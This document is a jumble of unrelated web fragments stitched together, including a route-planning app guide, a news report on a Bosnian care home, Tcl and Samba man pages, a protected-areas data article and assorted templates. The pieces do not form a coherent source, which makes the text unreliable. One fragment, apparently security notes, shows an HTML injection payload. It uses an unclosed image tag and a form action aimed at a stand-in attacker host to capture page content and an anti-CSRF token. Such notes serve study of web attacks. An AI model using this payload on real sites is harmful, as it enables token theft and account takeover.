For background see
Wikipedia article Random Walk.
Simulates the brownian dynamics of a single particle in a periodic box.
The displacement of the particle is shown by a red line.
The full trajectory is shown by an orange line with a red tracer.
The periodic trajectory is shown by a blue line with a teal tracer.
See plot at the bottom for analysis of RMS displacement.


--- layout: post title: Convert a .NET 2.0 DLL to 4.0 (VS2010) without source date: '2010-01-04T05:58:00.001Z' author: solrevdev tags: modified_time: '2010-01-04T05:58:44.863Z' blogger_id: tag:blogger.com,1999:blog-31446756.post-1423635504331542130 blogger_orig_url: http://www.solrevdev.com/2010/01/convert-net-20-dll-to-40-vs2010-without.html ---


a
Which SSG
This is a tricky question, and there is no easy answer for it. Perhaps the best way to choose an SSG is installing three or four of them locally and give them a try. This list might help too.
Jekyll
However, if you don't know where to start, and you never used any Static Site Generator before, I suggest you to get started with Jekyll. Why?
- It's very well documented
- If you search the web for information you'll find plenty
- Its template engine is rigid. Meaning, there's no chance to mess up the code
- It is easy to learn
BUT
But this was merely a suggestion. There are better ways to choose. For example, if you are a programmer, you could choose the SSG according to the language it's written in (Ruby, JavaScript, Python, etc), picking up one you're familiar with.


| Employee Id | Resignation Type | Resignation Submitted Date | Final Settlement Date | Leaving Date | State | Edit |
|---|---|---|---|---|---|---|
| {{c.employeeId}} | {{c.resignationType}} | {{c.resignationSubmittedOn | date: 'MM/dd/yyyy'}} | {{c.finalSettlementDate | date: 'MM/dd/yyyy'}} | {{c.leavingDate | date: 'MM/dd/yyyy'}} | {{c.state}} |


The 'Plan a route' feature allows you to measure distances on the map, create GPX tracks or add new segments to your own ones, to snap your track to the nearest available road with one of your navigation profiles. This interface has replaced the older 'Measure distance' tool. We've added new functions and created a completely new look for the utmost convenience to create a route for your trip.
To use this feature, simply go to the main OsmAnd menu and press 'Plan a route'. You'll see the map with a toolbar below. Start by putting the first point on the map and adding the next ones (one or more). To do that, press the 'Add' button or just touch a spot on the map. You'll see the total distance on the toolbar. You can also undo or redo the steps using the arrow buttons.
'Plan a route' mode allows using different navigation types for each segment and attaches any track to the roads. What does it mean?
E.g. you want to have a route for your Enduro trip. The first part of your trip is a road from your home to the offroad part, the second part is an unpaved road, and the third part is a road returning home.
Go to General menu -> Plan a route. Choose "Create a new route", next click to Profile icon and choose Road Profile for the first part of our trip. After that, we add starting and ending points. The first segment is built.
For the second part of our trip we click to Profile icon and choose our Enduro navigation profile (Prefer unpaved roads) and "Next segment" (Only the next segment will be recalculated using a chosen profile). After that we choose points for our offroad trip.
For the last part (going back home) we choose Road profile and add the end point of our trip. Click on the "Done" button and save (and rename) our GPX file with the journey trip.
Now, we click to our track, change Appearance of the track. Click the "Directions" button, and start our trip using the GPX track which we built in "Plane a route" tool.
Next, you can open existing track, import track, or open last edited track.
When you click to "Open existing track" you can select a track file to open.
Now your chosen track is in a plan route mode. Here you can modify it for your trip. You can click "Options" button and choose any parameters for it.
In the general, you can build route between points. Click to this button on the screen or in the Options menu.
Next, snap your track to the nearest available road with one of your navigation profiles to use this option. Here we choose Enduro navigation profile and threshold distance for our route calculation.
When a route is built we click the "Apply" button and "Done" to save a new track or go to "Options" -> "Directions" to start the trip.
As you see, we can modify any track for a trip. Of course, you can delete or add points in the "Plan a route" mode if you want to change it anytime.
You can also measure a distance using the radius ruler tool. To exit the measurement mode, please press the 'X' button in the upper-left corner of the screen.
Please see full video guide below:
Tool "Plan a route": menu -> Plan a route. Next click to Profile icon and choose Road Profile for the first part of our trip. After that, we add starting and ending points. The first segment is built.
For the second part of our trip we click to Profile icon and choose our Enduro navigation profile (Prefer unpaved roads) and "Next segment" (Only the next segment will be recalculated using a chosen profile). After that we choose points for our offroad trip.
For the last part (going back home) we choose Road profile and add the end point of our trip. Click on the "Done" button and save (and rename) our GPX file with the journey trip.
Now, you can create your trip by using one or more navigation profiles, saved it like GPX-file in OsmAnd version for iOS.
OsmAnd at Facebook, Twitter, and Reddit!
Join us at our groups of Telegram (EN), (IT), (FR), (DE), (RU), (UA).


Bosnians outraged by alleged abuse of children with special needs
SARAJEVO: Sarajevo's prosecutor has launched an investigation into the alleged abuse of children with special needs at a state-run care home in Bosnia, after a lawmaker made public photographs and a video showing children tied to beds and radiators.
A protest in the Bosnian capital demanding the regional government take action drew several hundred people on Thursday. Nearly 2,000 people have meanwhile signed a complaint to the Sarajevo prosecutor about alleged abuse and neglect at the Pazaric care home, near the city.
Protesters in front of government buildings carried placards reading "Tie me if you dare" and "Children to schools, not chains".
The prosecutor's office said it has opened a case relating to the alleged abuses at the request of Federation Prime Minister Fadil Novalic.
Sabina Cudic, of the Nasa Stranka opposition party, shared the photographs and video in the parliament of the autonomous Bosniak-Croat Federation on Wednesday, describing conditions for the children at the home as "modern-day slavery".
The home's manager, who took over early this year, told a news conference on Wednesday that the photographs of the children had not been taken during his tenure and that care standards have improved, with a ban on "fixing" restraint.
Cudic told parliament that 27 out of 149 employees at the home were trained economists rather than qualified carers, and that night shifts were covered by only one person, often not medically trained.
An ombudsman, Jasminka Dzumhur, said her office had repeatedly warned about poor conditions in Bosnian care homes.
"We demand that professionals deal with our children -- this is only the beginning of our fight," said Edo Celebic, representing parents of children with special needs at Thursday's protest.
Lawmakers agreed after Cudic's evidence to form a working group to collect evidence and to discuss its report next week.
The Pazaric home care has been under scrutiny for months over suspected historic financial misconduct. Some staff have been replaced but protesters said the government-appointed managing and supervisory board should also go.
The Council of Europe's human rights commissioner, Dunja Mijatovic, said the abuse allegations were "profoundly shocking" and urged the authorities to bring those responsible to justice. The European Union's delegation in Bosnia said it was appalled.
The scandal adds to acute public dissatisfaction with Bosnia's health and care network and its inefficient multi-layered government system.
"The system does not support us, they give nothing to our children," said Mirsada Begovic, a mother of a disabled child who was among protesters on Thursday.
Read also
Read More
What a relief! Paris show lifts taboo on historic outdoor loos
They were as much a symbol of Paris as croissants and the Eiffel Tower, though they had more than a whiff of scandal from the start.
Read More
Thunberg, Cameroon peace activist receive children’s award
Greta Thunberg, a young activist who has gone from staging school strikes to scolding world leaders about their climate change inaction, was awarded the prestigious International Children’s Peace Prize on Wednesday, along with Cameroon peace campaigner Divina Maloum.
Read More
Plight of children in Palestine
Read More
Schools shut because of Delhi's smog, but hundreds of children run a race
About 1,000 children ran a race in thick smog in the Indian capital New Delhi early on Thursday when authorities declared air quality as hazardous and the city government ordered schools to be shut as part of emergency measures.
Read More
51 children injured in chemical attack at China kindergarten
More than 50 people, mostly children, were injured by a man who broke into a kindergarten in southwest China and sprayed them with corrosive liquid, local authorities said Tuesday.
 The 26-year-old's mobile puppet theatre has become a small respite from war for the children of Saraqib, a town in the jihadist-run province of Idlib.


{% extends "base/base.html" %} {% load staticfiles %} {% block head %} {% endblock %} {% block content %}
Application Programming Interface
The REST API provides programmatic access to batch and image progress. This isn't currently used for anything, but might be useful at some point.


Newbie to TiDB? Don’t worry,「Easy」Issues can help you get on board quickly! After you win enough points, then you can continue to unlock 「Medium」and「Hard」Issues.
Difficulty goes up, support comes out. We have mentors to help you with「Medium」and「Hard」Issues. How to communicate with them? The slack channel is ready for you. Full support along the way can promise you a fruitful challenging experience.
You can redeem the Contribution Credit for the prizes when the season ends! From the tickets of the TiDB important events to the TiDB swags, you can redeem all as long as you have enough winning points. Besides, we will award the Top 3 winners a customized certificate to recognize their full engagement in this project!
TiDB Black/White T-shirt
TiDB Laptop Sleeve
TiDB Insulated Cup
TiDB Hoodie
THE NORTH FACE Backpack
(only three pieces)


Searching for the right college can be an overwhelming experience. It is
crucial to make sure that the perfect college fits with your educational
goals, social agenda and financial situation so that it will lead to a
well rounded college experience. SearchU provides updated college
information as well as what the expected quality of life is in that
location. Allowing for family to know you’ll be safe but still giving
you the freedom to expand your wings in whatever direction life will
take.


- Pachinko - Min Jin Lee
- Little Fires Everywhere - Celeste Ng
- Normal People - Sally Rooney
- Conversations With Friends - Sally Rooney
- A Giacometti Portrait - James Lord
- The Sympathizer - Viet Thanh Nguyen
- The Leavers - Lisa Ko
- The Incendiaries - R.O. Kwon
- On Earth We’re Briefly Gorgeous - Ocean Vuong
- Effective Java - Joshua Bloch


class EditServerViewModel : ViewModel
ViewModel for the EditServerActivity.
enum class SaveStatus |
EditServerViewModel()
ViewModel for the EditServerActivity. |
val pingStatus: LiveData<MailPackage<Pair<String, Status>>>
LiveData with url paired with information about ping. |
|
val saveSuccessful: LiveData<SaveStatus>
LiveData with information about server saving. |
|
var tmpServer: ServerInstance |
fun ping(server: ServerInstance): Unit
Ping this server and propagate result through pingStatus. |
|
fun resetPingStatus(): Unit
Sets the pingStatus to LOADING. |
|
fun resetStatus(): Unit
Sets the saveSuccessful to WAITING. |
|
fun saveServer(serverInstance: ServerInstance = tmpServer): Unit
Check attributes of this server instance by ServerInstanceAttributeCheck and if successful, insert it into database. |
fun getInstance(owner: ViewModelStoreOwner): EditServerViewModel
Gets an instance of EditServerViewModel tied to the owner's lifecycle. |


(Install in Windows 10 Creator's Edition.)
Development IDE
- Visual Studio - Community Edition
- Visual Studio Code
- SQL Server - Developer Edition
- Postman
(Windows Subsystem for Linux - Install WSL by `Control Panel -> Features`. In WSL shell, install each component using `apt install <name>`. When installed, set the shell to `zsh` and add `.zshrc` to user-directory.)
WSL - Environment
- zsh
- figlet
- fortune
- cowsay
WSL - Tools
- git
- python
- homebrew
- node.js
- curl
- wget


It wasn't easy to design, but after many hours of work and struggling, I was finally done. Here is my first architect design opera house
I promise that once I have a real project to share, I will use this page to share it.


We're sorry but vue-blog doesn't work properly without JavaScript enabled. Please enable it to continue.
正在种树中...


Automatic marking of R assignments for students and teachers based on 'testthat' test suites.
| Version: | 0.8.1 |
| Depends: | R (≥ 3.2.0), methods, yaml, testthat (≥ 2.0.0), httr (≥ 1.0.0), checkmate (≥ 1.0.0) |
| Imports: | codetools, lazyeval, rlang |
| Suggests: | knitr, rmarkdown |
| Published: | 2018-01-17 |
| Author: | Mans Magnusson, Oscar Pettersson |
| Maintainer: | Mans Magnusson <mons.magnusson at gmail.com> |
| License: | BSD_2_clause + file LICENSE |
| NeedsCompilation: | no |
| CRAN checks: | markmyassignment results |
| Reference manual: | markmyassignment.pdf |
| Vignettes: |
markmyassignment-teacher markmyassignment |
| Package source: | markmyassignment_0.8.1.tar.gz |
| Windows binaries: | r-devel: markmyassignment_0.8.1.zip, r-release: markmyassignment_0.8.1.zip, r-oldrel: markmyassignment_0.8.1.zip |
| OS X binaries: | r-release: markmyassignment_0.8.1.tgz, r-oldrel: markmyassignment_0.8.1.tgz |
| Old sources: | markmyassignment archive |
Please use the canonical form https://CRAN.R-project.org/package=markmyassignment to link to this page.


- NAME
- Tcl_SetChannelError, Tcl_SetChannelErrorInterp, Tcl_GetChannelError, Tcl_GetChannelErrorInterp - functions to create/intercept Tcl errors by channel drivers.
- SYNOPSIS
- #include <tcl.h>
- void
- Tcl_SetChannelError(chan, msg)
- void
- Tcl_SetChannelErrorInterp(interp, msg)
- void
- Tcl_GetChannelError(chan, msgPtr)
- void
- Tcl_GetChannelErrorInterp(interp, msgPtr)
- ARGUMENTS
- DESCRIPTION
- Tcl_DriverCloseProc
- Tcl_DriverInputProc
- Tcl_DriverOutputProc
- Tcl_DriverSeekProc
- Tcl_DriverWideSeekProc
- Tcl_DriverSetOptionProc
- Tcl_DriverGetOptionProc
- Tcl_DriverWatchProc
- Tcl_DriverBlockModeProc
- Tcl_DriverGetHandleProc
- Tcl_DriverHandlerProc
- Tcl_StackChannel
- Tcl_Seek
- Tcl_Tell
- Tcl_ReadRaw
- Tcl_Read
- Tcl_ReadChars
- Tcl_Gets
- Tcl_GetsObj
- Tcl_Flush
- Tcl_WriteRaw
- Tcl_WriteObj
- Tcl_Write
- Tcl_WriteChars
- Tcl_Close
- Tcl_UnregisterChannel
- Tcl_UnstackChannel
- SEE ALSO
- KEYWORDS
Tcl_SetChannelError, Tcl_SetChannelErrorInterp, Tcl_GetChannelError, Tcl_GetChannelErrorInterp - functions to create/intercept Tcl errors by channel drivers.
#include <tcl.h>
void
Tcl_SetChannelError(chan, msg)
void
Tcl_SetChannelErrorInterp(interp, msg)
void
Tcl_GetChannelError(chan, msgPtr)
void
Tcl_GetChannelErrorInterp(interp, msgPtr)
- Tcl_Channel chan (in)
-
Refers to the Tcl channel whose bypass area is accessed.
- Tcl_Interp* interp (in)
-
Refers to the Tcl interpreter whose bypass area is accessed.
- Tcl_Obj* msg (in)
-
Error message put into a bypass area. A list of return options and
values, followed by a string message. Both message and the
option/value information are optional.
- Tcl_Obj** msgPtr (out)
-
Reference to a place where the message stored in the accessed bypass
area can be stored in.
The current definition of a Tcl channel driver does not permit the
direct return of arbitrary error messages, except for the setting and
retrieval of channel options. All other functions are restricted to
POSIX error codes.
The functions described here overcome this limitation. Channel drivers
are allowed to use Tcl_SetChannelError and
Tcl_SetChannelErrorInterp to place arbitrary error messages in
bypass areas defined for channels and interpreters. And the
generic I/O layer uses Tcl_GetChannelError and
Tcl_GetChannelErrorInterp to look for messages in the bypass
areas and arrange for their return as errors. The posix error codes
set by a driver are used now if and only if no messages are present.
Tcl_SetChannelError stores error information in the bypass area
of the specified channel. The number of references to the msg
object goes up by one. Previously stored information will be
discarded, by releasing the reference held by the channel. The channel
reference must not be NULL.
Tcl_SetChannelErrorInterp stores error information in the bypass
area of the specified interpreter. The number of references to the
msg object goes up by one. Previously stored information will be
discarded, by releasing the reference held by the interpreter. The
interpreter reference must not be NULL.
Tcl_GetChannelError places either the error message held in the
bypass area of the specified channel into msgPtr, or NULL; and
resets the bypass. I.e. after an invocation all following invocations
will return NULL, until an intervening invocation of
Tcl_SetChannelError with a non-NULL message. The msgPtr
must not be NULL. The reference count of the message is not touched.
The reference previously held by the channel is now held by the caller
of the function and it is its responsibility to release that reference
when it is done with the object.
Tcl_GetChannelErrorInterp places either the error message held
in the bypass area of the specified interpreter into msgPtr, or
NULL; and resets the bypass. I.e. after an invocation all following
invocations will return NULL, until an intervening invocation of
Tcl_SetChannelErrorInterp with a non-NULL message. The
msgPtr must not be NULL. The reference count of the message is
not touched. The reference previously held by the interpreter is now
held by the caller of the function and it is its responsibility to
release that reference when it is done with the object.
Which functions of a channel driver are allowed to use which bypass
function is listed below, as is which functions of the public channel
API may leave a messages in the bypass areas.
- Tcl_DriverCloseProc
-
May use Tcl_SetChannelErrorInterp, and only this function.
- Tcl_DriverInputProc
-
May use Tcl_SetChannelError, and only this function.
- Tcl_DriverOutputProc
-
May use Tcl_SetChannelError, and only this function.
- Tcl_DriverSeekProc
-
May use Tcl_SetChannelError, and only this function.
- Tcl_DriverWideSeekProc
-
May use Tcl_SetChannelError, and only this function.
- Tcl_DriverSetOptionProc
-
Has already the ability to pass arbitrary error messages. Must
not use any of the new functions.
- Tcl_DriverGetOptionProc
-
Has already the ability to pass arbitrary error messages. Must
not use any of the new functions.
- Tcl_DriverWatchProc
-
Must not use any of the new functions. Is internally called and
has no ability to return any type of error whatsoever.
- Tcl_DriverBlockModeProc
-
May use Tcl_SetChannelError, and only this function.
- Tcl_DriverGetHandleProc
-
Must not use any of the new functions. It is only a low-level
function, and not used by Tcl commands.
- Tcl_DriverHandlerProc
-
Must not use any of the new functions. Is internally called and
has no ability to return any type of error whatsoever.
Given the information above the following public functions of the Tcl
C API are affected by these changes. I.e. when these functions are
called the channel may now contain a stored arbitrary error message
requiring processing by the caller.
 Especially the functions below
leave all their error information in the interpreter result.
- Tcl_Close
-
- Tcl_UnregisterChannel
-
- Tcl_UnstackChannel
-
Tcl_Close, Tcl_OpenFileChannel, Tcl_SetErrno
channel driver, error messages, channel type
Copyright © 1995-1997 Roger E. Critchlow Jr.
Copyright © 2005 Andreas Kupries <andreas_kupries(at)users.sourceforge.net>


[attributes] --- label: The lag effect in the World Database on Protected Areas layout: template-news-stories-article target_page: categories: - Updates & News is_published: true position: 0 [categories types] [categories topics] wdpa [date_not_null published_date] 2018-03-20 00:00:00 UTC [text_custom summary] Terrestrial and marine coverage is increasing through the submission of new sites to the WDPA - but how new are these sites? [text social-title] [text social-description] [text display_version_alert] [wysiwyg content]
Terrestrial and marine protected area coverage is increasing each year, with marine protected areas covering almost 7% of the global ocean and terrestrial protected areas covering just under 15% of global land (UNEP-WCMC and IUCN March 2018). The trend in the marine realm is one of rapid growth, with the recent designation of large sites, such as the Ross Sea Region Marine Protected Area off Antarctica, whereas in the terrestrial realm a slower growth is being witnessed.
Although there are benefits to simplifying information for reporting purposes, by solely focusing on the overall trends we miss important details. As discussed in the end of year Protected Planet blog post which reviewed of the growth of protected areas in 2017 and in the recently published work by Lewis et al. (2017) on the "Dynamics in the global protected- area estate since 2004", it is worth highlighting that the World Database on Protected Areas (WDPA) is a dynamic data set. Throughout the 12 different versions produced each year there are additions and removals of sites which result in changes in area. Between years there can be considerable difference in the number of sites added and removed. An additional factor that adds to the complexity of the database, and should be highlighted, is that sites added to the WDPA are not always new on the ground.
After conducting an analysis of the designation dates of all newly added sites each year between 2010 and 2017, we see that many have existed for several years on the ground prior to being added to the WDPA. For example, in 2011 32% of the sites newly added to the WDPA were in fact designated between 1900 and 2000. We therefore need to be aware of the time lag between the designation of a site and its reporting to the WDPA. This is particularly relevant in the lead up to 2020, when protected area coverage will be assessed in relation to the Convention on Biological Diversity's Aichi Target 11. Due to this time lag, the coverage of protected areas seen in 2020 through the WDPA may not be reflective of what is being protected on the ground at that particular time, though every effort will be made to ensure the WDPA is as up to date as possible. Users of the WDPA need to be aware of such factors in order to understand better the data they are using, and the implications of using older versions of the WDPA, which are simply snapshots of a particular moment in time.
Data supplied to UNEP-WCMC for inclusion into the WDPA includes sites that have been designated recently, updated information on existing sites and importantly sites that have existed for several years or decades but have not been previously reported. This means that the new additions are not just a cumulative addition to the month or year they are added, they are also additions to previous years, backfilling the database.
We see a large variation in the designation dates of sites being added to the WDPA. The amount of backfilling of previous years depends on which countries, and how many, submit an update that year. Countries that update regularly have a shorter time lag between the designation of a site and its addition to the WDPA than those that do not update regularly, and the more countries that are updated in a year, the more backfilling there is of older sites from previous decades. In 2014 there was a big push for updates to create the UN List of Protected Areas, generating updates from many more countries than usual, many of which had not been updated in a number of years. This increased the number of older sites, particularly those designated prior to 1900, added to the WDPA, and had the knock on effect in of reducing both the number and age of the sites added to the WDPA in 2015.
In 2017 we see a very different picture than in previous years, with over 70% of sites added in 2017 being designated since 2000. Furthermore, newly designated sites (from 2000 onwards) are being reported to the WDPA much more quickly than those prior to 2000. Historically, it was rare to have sites designated and added to the WDPA the same year, but this has changed in 2017, with the figure exceeding 3% of new records (previously the figure has been 1% or below). In addition to sites being added to the WDPA we also have instances of data being updated, of particularly relevance are updates to the year of designation, especially in cases where this has previously not been reported. In 2010 39% of the sites has no designation year reported, but this is now down to 7% at the end of 2017. The good news is that the lag time between designation and addition to the WDPA has been decreasing. This time lag is expected to continue decreasing, as updates are becoming more regular from countries and the updates are being reflected quickly in the monthly updated versions of the WDPA. The accuracy of the data being reported is also increasing, with all new sites being added to the WDPA in 2017 as polygons rather than points. We also managed to update 87% of the data in the WDPA in 2017, giving a much more accurate picture of protected area coverage.
[file hero_image] AdobeStock_231343991-min.jpeg [file image] AdobeStock_231343991-min.jpeg


That's the spirit! Just because you have grand dreams, doesn't mean you can't pull 'em off.
Complete Newbies
If you've never made a game, try starting with the smallest project imagineable. Create a game like Pong or Asteroids. Even this could take a lot of time for new developers. Once you have something basic working, try to polish it. Add high scores, menus, options.
Any game with multiple mechanics is a rough place to start. Diablo 1 might look simple but it's really several mini-games in one. There's the combat part, the loot part, the dialog part, the inventory part, etc. Each of those might be more complex to make than an entire game of Pong.
Start small and grow from there
I always encourage people to implement the smallest vertical slice of gameplay possible. E.g. one level, one enemy, no menus. If it's fun enough you'll be motivated to continue working on it and add more features incrementally. Plus, having something playable early is nice to show off to friends and fans.
If you can't get the core gameplay fun, you'll find out quickly. Take what you've learned and try something new.
The Second 90%
"The first 90 percent of the code accounts for the first 90 percent of the development time. The remaining 10 percent of the code accounts for the other 90 percent of the development time." -Tom Cargill, Bell Labs
It's one thing to make a game playable; it's another thing entirely to polish and ship it. This is hard to plan for but you'll get better with every game you finish. Another good reason to start small and work your way up.
Resources
Extra Credits is a fun video series aimed for people interested in the game dev industry. I especially like their explanation of Graphics vs. Aesthetics.
Not an artist? There are collections of game art with permissive licenses. My favorite is Open Game Art which features plenty of Creative Commons works.
Here's a great collection of indie resources, everything from music to marketing info.
Make friends in a game dev community! I hang out in Reddit's r/gamedev but there are plenty of places out there.
And some encouragement. You can make video games!


Example
<img src='http://mdattacker.net/capture?html= <<<<< INJECTION
<form action=”http://wahh-mail.com/forwardemail” method=”POST”>- <input type=”hidden” name=”nonce” value=”2230313740821”>
- <input type=”submit” value=”Forward”>
...
</form>
...
<script>
var _StatsTrackerId=’AAE78F27CB3210D’;
...
</script>
Red text is send to attacker's server (In this case anti-CSRF token is send)
Alternatively we can inject
<form action=”http://mdattacker.net/capture” method=”POST”>
Which cancels correct <form>, only first <form> is accepted
DOM based HTML injection
innerHTML
document.write()


TESTPARM
Section: User Commands (1)Updated: 06/14/2011
Index Return to Main Contents
NAME
testparm - check an smb.conf configuration file for internal correctnessSYNOPSIS
- testparm [-s] [-h] [-v] [-L <servername>] [-t <encoding>] {config filename} [hostname hostIP]
DESCRIPTION
This tool is part of the samba(7) suite.
testparm is a very simple test program to check an smbd(8) configuration file for internal correctness. If this program reports no problems, you can use the configuration file with confidence that smbd will successfully load the configuration file.
Note that this is NOT a guarantee that the services specified in the configuration file will be available or will operate as expected.
If the optional host name and host IP address are specified on the command line, this test program will run through the service entries reporting whether the specified host has access to each service.
If testparm finds an error in the smb.conf file it returns an exit code of 1 to the calling program, else it returns an exit code of 0. This allows shell scripts to test the output from testparm.
OPTIONS
-s
- Without this option, testparm will prompt for a carriage return after printing the service names and before dumping the service definitions.
-h|--help
- Print a summary of command line options.
-V|--version
- Prints the program version number.
-L servername
- Sets the value of the %L macro to servername. This is useful for testing include files specified with the %L macro.
-v
- If this option is specified, testparm will also output all options that were not used in smb.conf(5) and are thus set to their defaults.
-t encoding
- Output data in specified encoding.
--parameter-name parametername
- Dumps the named parameter. If no section-name is set the view is limited by default to the global section. It is also possible to dump a parametrical option. Therfore the option has to be separated by a colon from the parametername.
--section-name sectionname
- Dumps the named section.
configfilename
- This is the name of the configuration file to check. If this parameter is not present then the default smb.conf(5) file will be checked.
hostname
- If this parameter and the following are specified, then testparm will examine the hosts allow and hosts deny parameters in the smb.conf(5) file to determine if the hostname with this IP address would be allowed access to the smbd server. If this parameter is supplied, the hostIP parameter must also be supplied.
hostIP
- This is the IP address of the host specified in the previous parameter. This address must be supplied if the hostname parameter is supplied.
FILES
smb.conf(5)
- This is usually the name of the configuration file used by smbd(8).
DIAGNOSTICS
The program will issue a message saying whether the configuration file loaded OK or not. This message may be preceded by errors and warnings if the file did not load. If the file was loaded OK, the program then dumps all known service details to stdout.
VERSION
This man page is correct for version 3 of the Samba suite.
SEE ALSO
AUTHOR
The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.
The original Samba man pages were written by Karl Auer. The man page sources were converted to YODL format (another excellent piece of Open Source software, available at ftp://ftp.icce.rug.nl/pub/unix/) and updated for the Samba 2.0 release by Jeremy Allison. The conversion to DocBook for Samba 2.2 was done by Gerald Carter. The conversion to DocBook XML 4.2 for Samba 3.0 was done by Alexander Bokovoy.
Index
This document was created by man2html, using the manual pages.
Time: 05:29:11 GMT, December 24, 2015


The German Shepherd Dog is one of America’s most popular dog breeds — for good reason. He’s an intelligent and capable working dog. His devotion and courage are unmatched. And he’s amazingly versatile, excelling at most anything he’s trained to do: guide and assistance work for the handicapped, police and military service, herding, search and rescue, drug detection, competitive obedience and, last but not least, faithful companion.
Please don't leave me alone!: German Shepherds isn't the breed for you if you're away from home frequently or for long periods of time. When left alone they can become anxious or bored, and are likely to express their worry in ways you don't like — barking, chewing, and digging.
Uh! Nice to meet you: German Shepherds can be aloof and suspicious of strangers. To raise a social and well-behaved dog, expose your German Shepherd puppy to many experiences, places, and people. Obedience training, beginning with puppy classes, is important for getting him used to other people and dogs, as well as teaching him basic canine manners.
On Duty! : He's got a reputation for being a great watchdog — and he is — but the German Shepherd should never be chained or tethered just to stand guard. No dog should; it leads to frustration and aggression. The German Shepherd is happiest living indoors with the family, but with access to a large, fenced yard, where he can burn off some of his natural energy.
"To have a German Shepherd, also if you get it as a puppy, is an amazing experience! But you'll have to learn quickly how do discipline your breed, cause if he grow up without a figure of a leader, you'll have some problems with its behavior"
Pedro Jesus do Rosario - German Shepherd Owner
Learn more about German Shepherds clicking here


The new Microsoft Surface Pro 6 Stands toe-to-tow with any current premium laptop availible with the latest 8th gen Intel® Core™ processor
Find Out MoreExplore your inner artist with this impressive drawing capabilities built into the surface pro 6 and test yourself to see what you can draw / create / build
Get Started!12.3” PixelSense™ Display with 2736 x 1824 (267 PPI) resolution, 3:2 aspect ratio, and 10 point multi-touch.
128GB, 256GB, 512GB, or 1TB solid-state drive (SSD).
Up to 13.5 hours of local video playback
Surface Pro 6, i5-8250U, i7-8650U. Surface Pro 6 for Business i5-8350U, i7-8650U
Prices for the Surface can varey as people like to customise for the spectacular device prices start at £800


Home
Team
Impact
Ethiopia 2019
Donate
Contact
Student Log in
{{title}}
{% block content %}{% endblock %}


.java
extension.
Java is an object-oriented language developed by Sun. Java is similar
to C++, but Java has a few new features, such as garbage collection. Java
is also missing a few features C++ has, like multiple inheritance.
The EditJava Itcl class is derived from the
EditCpp Itcl class, and
therefore inherits all of its features, such as invoking make
.
The EditJava class colors certain Java constructs, such as comments.
For more Java resources, see the Tycho Java page.
Compile and Load
menu choice under the File
menu
will compile and optionally run the Java file currently being edited.
The
CompileJava
class documentation discusses the programming details, we discuss the
user level details below.
The EditJava editor supports two primary methods of compiling Java files:
CLASSPATH
environment variable controls where the
Java tools such as javac
, java
, and
appletviewer
. javac
and java
take a -classpath
option, appletviewer
does
not.
If
useEnvClassPath
preference is true, then
the CLASSPATH
is read from the user's senvironment with
$env(CLASSPATH)
and passed to java
or
javac
. (The useEnvClassPath
preferences and the other Java editor preferences are set in the Java
preference).
If the useEnvClassPath
preference is false, then Tycho
reads the classPath
preference and sets the
CLASSPATH
environment variable before calling the Java
tools.
The javaHome
preference
refers to the directory that contains the Java Development Kit (JDK).
The initial default of the javaHome
preference is taken
from the value of the JAVA_HOME
environment variable.
The javaHome
preference is used to find the JDK HTML
documentation for the built in Java classes. The JDK HTML
documentation should be in the api
subdirectory of the
JDK. The location of the JDK HTML documentation is used to fix
javadoc
hyperlinks.
$TYCHO/editors/textedit/test/DrawTest.java
is a Java application that includes a main()
. If you edit
this file and then invoke Compile and Load
with either
then an
Exec
widget will come up and compile and run the Java file with
java -cs -v
Note that compiling a Java file will create a .class
file in the directory where the .java
file resides. If
you do not have write permission to $TYCHO/editors/textedit/test
then you could copy the .java
files to a directory
where you have write permission.
$TYCHO/editors/textedit/test/Blink.java
is a Java applet that does not include a main()
. If
you edit this file and then invoke Compile and Load
as above, first
javac
is run to compile the file, and then
appletviewer
is run.
Note that the Exec windows that come up when you compile a Java file are persistent between compilations. This allows you to modify the command line once and reuse your command line during the next compilation
Special
Menu choicesBody Template
command in the Special
menu places a body template at the current point in the buffer.
The File Template
command in the Special
menu copies the file $TYCHO/editors/textedit/templates/JavaTemplate.java
into the editor and does some substitutions described
below.
The Generate doc
command
in the Special
menu asks the user if they would like to save the buffer
and then runs the javadoc
program to produce HTML documentation
for the current file.
The appletview
choice in the Special
menu
brings up the appletviewer
program and loads the file being
edited into appletviewer
The string ClassName
in the template file is substituted
with a class name based on the name of the file.
For example, if the file is named Elvis.java
, then
the class name Elvis
will be substituted everywhere
ClassName
appears.
The Java package
is updated accordingly if the file is located
in a directory below $TYCHO/java
. For example, if the pathname
to the file was $TYCHO/java/devel/mystuff/Elvis.java
, then
the package
line would look like:
package devel.mystuff;If the file is not below
$TYCHO/java
, then the
package
line is commented out.
The @author
Java doctag is updated to use the
userName
preference which contains the full name of the user.
This preference can be updated by mousing on the Help button on the
upper right of most Tycho windows and then clicking on
Preferences
. The userName
preference is under the
Miscellaneous
preferences.
javadoc
tags below:
@see classname
javadoc
will not create links in the html
output for the @see
tags unless javadoc
is passed both the file that contains the @see
and the
file that is referred to.
Foo.java
uses
@see Bar.java
, then you must run javadoc
Foo.java Bar.java
.
@see full.classname
@see full.classname#method-name
@see full.classname#method-name(first.arg.type, second.arg.type)
@see My File
@version text
@version
tag may only be used before a class
definition. Call javadoc
with the -version
flag to generate an version listing in the HTML file.
@author text
@author
tag may only be used before a class
definition. Call javadoc
with the -author
flag to generate an author listing in the HTML file.
@param parameter-name description
@return description
@exception full-classname description
@deprecated description
@deprecated
tag is noticed by the Java compiler. If it is present, then the
compiler will not warn about a method that overrides a deprecated
parent method.
description
should be of the form
As of version xxx, replaced by newmethod()
@since text
text
need not have
any particular structure.


Protesters to submit information on ‘VC corruption’ at Jahangirnagar University
by bdnews24.comThe teachers and students demonstrating at Jahangirnagar University will submit information to substantiate allegations of corruption they have levelled against Vice-Chancellor Professor Farzana Islam.
They would inform the University Grants Commission and the education ministry about the allegations on Friday, student Rakibul Islam Rony, one of the organisers of the protests, announced at a demonstration outside the VC’s residence on the campus on Thursday evening.
They staged a concert there after holding marches and rallies throughout the day.
The announcement came after Prime Minister Sheikh Hasina said the protesters would face ‘consequences’ if they fail to back up their claims.
A group of teachers and students continued demonstration for VC Farzana’s resignation after the authorities shut the campus indefinitely following an attack on the protesters on Tuesday.
Rony said they would stage a sit-in outside the administrative building and hold a painting campaign on Friday morning.


Today I want to speak about populating datagrid techniques with PHP. At least in my daily work datagrids and tabular data are very common, because of that I want to show two different techniques when populating datagrids with data from our database. Maybe it’s obvious, but I want to show the differences. Let’s start.
